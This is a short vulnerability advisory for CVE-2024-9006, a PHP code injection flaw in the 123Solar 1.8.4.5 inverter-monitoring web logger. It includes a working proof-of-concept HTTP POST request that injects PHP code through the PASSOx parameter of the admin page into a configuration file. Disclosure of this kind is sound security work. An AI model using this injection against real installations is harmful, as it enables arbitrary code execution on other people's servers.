123Solar 1.8.4.5 has a PHP Code Injection vulnerability

[Hebing123]

Summary

123Solar is a lightweight set of PHP/JS files that makes a web logger to monitor your photovoltaic inverter(s). It just need a web server and PHP, no databases are even needed. The philosophy is: To keep it simple, fast, with a low foot print to run on cheap and low powered devices.

123Solar 1.8.4.5 contains a PHP Code Injection vulnerability. Attackers can inject arbitrary PHP commands into the PASSOx parameter, which can then be executed by other PHP scripts that include config/config_invt1.php.

Details

In the /admin/admin_invt2.php script, the value of the PASSOx parameter is directly written into the config/config_invt1.php file without proper filtering or escaping.

This allows attackers to insert PHP code snippets into the PASSOx parameter, which will then be written to the configuration file and executed by other scripts that include this configuration file.

POC

POST /admin/admin_invt2.php HTTP/1.1
Host: your-ip
Content-Length: 843
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
Connection: keep-alive

INVNAMEx=test&PLANT_POWERx=4600&PHASEx=&CORRECTFACTORx=1&PASSOx=9999999;%0dphpinfo();%0d$test=1&SRx=no&PORTx=%2Fdev%2Fsolar&PROTOCOLx=aurora&ADRx=2&COMOPTIONx=-Y3&SYNCx=true&LOGCOMx=&SKIPMONITORINGx=&YMAXx=4500&YINTERVALx=1000&PANELS1x=10+Aleo+S_18+230W+Orientation%3A+90%C2%B0%2C+Pente%3A+45%C2%B0&PANELS2x=10+Aleo+S_18+230W+Orientation%3A+90%C2%B0%2C+Pente%3A+45%C2%B0&ARRAY1_POWERx=2300&ARRAY2_POWERx=2300&ARRAY3_POWERx=0&ARRAY4_POWERx=0&EXPECTJANx=72.5&EXPECTAPRx=420&EXPECTJUIx=497&EXPECTOCTx=199&EXPECTFEBx=125&EXPECTMAYx=484&EXPECTAUGx=415&EXPECTNOVx=89&EXPECTMARx=288&EXPECTJUNx=495&EXPECTSEPx=313&EXPECTDECx=60.5&EMAILx=&AWPOOLINGx=5&DIGESTMAILx=30&FILTERx=W011%2CW001%2CE011&MAILWx=&SENDALARMSx=true&SENDMSGSx=true&NORESPMx=true&LOGMAWx=&VGRIDUTx=208&VGRIDTx=250&RISOTx=8&ILEAKTx=15&POAKEYx=&POUKEYx=&TLGRTOKx=&TLGRCIDx=0&invt_numx=1

Then visit http://your-ip/admin/admin_invt.php

[Hebing123]

CVE-2024-9006